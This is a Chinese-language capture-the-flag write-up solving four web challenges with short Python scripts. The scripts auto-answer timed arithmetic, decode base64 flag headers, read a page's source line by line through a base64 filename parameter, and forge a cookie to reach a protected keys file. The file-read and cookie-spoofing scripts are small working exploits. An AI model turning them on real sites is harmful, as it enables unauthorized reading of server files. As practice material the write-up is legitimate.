秋名山老司机

进入题目后发现是一个加减乘的组合运算,每一次刷新页面都会是新的算式,一直刷新会出现如下Give me value post about字样,说明算式的值通过value进行post提交,贴exp

import requests
import re
url = "http://123.206.87.240:8002/qiumingshan/"
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)',source.text).group()
result = eval(expression)
post = {'value':result}
flag = s.post(url, data = post).text
print flag

1.png
本题总结:
1.必须使用会话对象Session(),否则提交的时候页面会重新生成算式导致结果错误
2.在python里面post提交内容需要写在字典里面
3.如果不加.text就无法查看到网页内容,返回结果为一个相应结果<Response [200]>
4.正则表达式查找后返回值是一个对象,加上.group()后才返回算术表达式的字符串

速度要快

burp抓包发送到repeaterhttp头里面发现flag项,每次刷新代码都不一样,是一个base64编码,解码后发现后面的字符串还可以解码,有个注释为OK ,now you have to post the margin what you find,所以需要我们将值通过margin进行post提交,贴exp

import requests
import base64
url = "http://123.206.87.240:8002/web6/"
s = requests.Session()
headers = s.get(url).headers
mid = base64.b64decode(headers['flag'])
jflag = mid.split(':')[1]
result = base64.b64decode(jflag)
post = {'margin':result}
flag = s.post(url,data = post).text
print flag

2.png
本题总结:
1.必须使用会话对象Session(),否则提交的时候页面会重新生成http头里面flag的值导致结果错误
2.学会使用base64模块

cookies欺骗

观察url里面的filename,是base64加密的key.txt,里面是一串没用的乱码,我们尝试一下读取index.phplines是行数,可以一行一行地读但是太麻烦,贴个exp

import requests
a = 40
for i in range(a):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s = requests.get(url).text
    print s

3.png
意思就是满足cookie里面的margin=margin,就可以读取keys.php
可以在burpsuite里面改包
4.png
也可以用exp

import requests
url = "http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA="
s = requests.Session()
upcookie = {'margin':'margin'}
result = s.post(url,cookies=upcookie)
print result.text

5.png

天下武功唯快不破

和上面速度要快一题一样,抓包发送repeater发现http头里面有FLAG栏,每次刷新都要变,需要通过key进行post提交,贴exp

import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php"
s = requests.Session()
headers = s.get(url).headers
mid = base64.b64decode(headers['FLAG'])
result = mid.split(':')[1]
post = {'key':result}
flag = s.post(url,data = post).text
print flag

6.png